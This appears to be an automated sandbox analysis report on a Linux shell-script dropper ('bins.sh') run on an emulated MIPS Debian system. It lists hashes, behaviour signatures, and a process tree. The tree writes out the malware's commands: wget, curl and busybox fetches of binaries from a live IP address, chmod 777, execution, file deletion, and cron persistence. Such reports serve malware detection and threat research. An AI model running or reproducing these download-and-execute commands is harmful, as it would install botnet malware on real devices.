Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    26/11/2024, 18:06

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    287fd8ff31d734e6b93c9a8bbeef08ae

  • SHA1

    019d60c4998c554bbb85d816dfd93c0079c4fe03

  • SHA256

    4404513cb0bbcbc2922b20dd2655132b5f3a5f0f11141ed6e2291fe622c39df8

  • SHA512

    14cfd73b971d8acf7e9e5263ac01f6446a13f9d71eec3fb0c595dc1cee10531d19c638ce76e14f8788e2bf9f329ded26959f85d27d67393f74d1ec461c7f88a2

  • SSDEEP

    96:DW6M1f1E8zbW9EEafjhzsjEb7bwqg3/SOch+zWx41aGjybnuP0qg3/SOqh2EEafl:668zbWShzYEXttMzDxylzbg

Malware Config

Signatures

  • Contacts a large (1780) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:706
        • /usr/bin/wget
          wget http://216.126.231.240/bins/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • Writes file to tmp directory
          PID:708
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          ./8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm 8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://216.126.231.240/bins/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /tmp/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            ./GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
            • Executes dropped EXE
            PID:738
          • /bin/rm
            rm GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
              PID:740
            • /usr/bin/wget
              wget http://216.126.231.240/bins/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
              • Writes file to tmp directory
              PID:741
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
              • Writes file to tmp directory
              PID:742
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
              • Writes file to tmp directory
              PID:748
            • /bin/chmod
              chmod 777 eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
              • File and Directory Permissions Modification
              PID:753
            • /tmp/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              ./eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:754
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:756
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:757
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:759
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:761
                  • /bin/rm
                    rm eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
                    2⤵
                      PID:763
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo
                      2⤵
                        PID:768

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb

                      Filesize

                      177KB

                      MD5

                      786d75a158fe731feca3880f436082c0

                      SHA1

                      79ea2734e43d00cdeabed5586b2c1994d02aef3e

                      SHA256

                      5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                      SHA512

                      7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                    • /tmp/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY

                      Filesize

                      141KB

                      MD5

                      3ca8decdb1e52c423c521bfff02ac200

                      SHA1

                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                      SHA256

                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                      SHA512

                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                    • /tmp/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ

                      Filesize

                      151KB

                      MD5

                      3c90d5820bddcf7c5d1bd21dfa49d958

                      SHA1

                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                      SHA256

                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                      SHA512

                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                    • /var/spool/cron/crontabs/tmp.swuenC

                      Filesize

                      210B

                      MD5

                      a0a824b969a1aadc5ed8254dd2a527cc

                      SHA1

                      85cd15ad65b396dc3d0953fc565508b6cab9b434

                      SHA256

                      d8d466ab6654cb8db3529aa060fff98fb455c06e00c9212729fa8ce90a5df1cd

                      SHA512

                      7ef75b2621413337b804cacee13a97eae25ae1a08f218857b84e6f579650a63ab6d1d74184eca54e9f4323366fb533e678ffaece3de5892476a6a1f894a1f178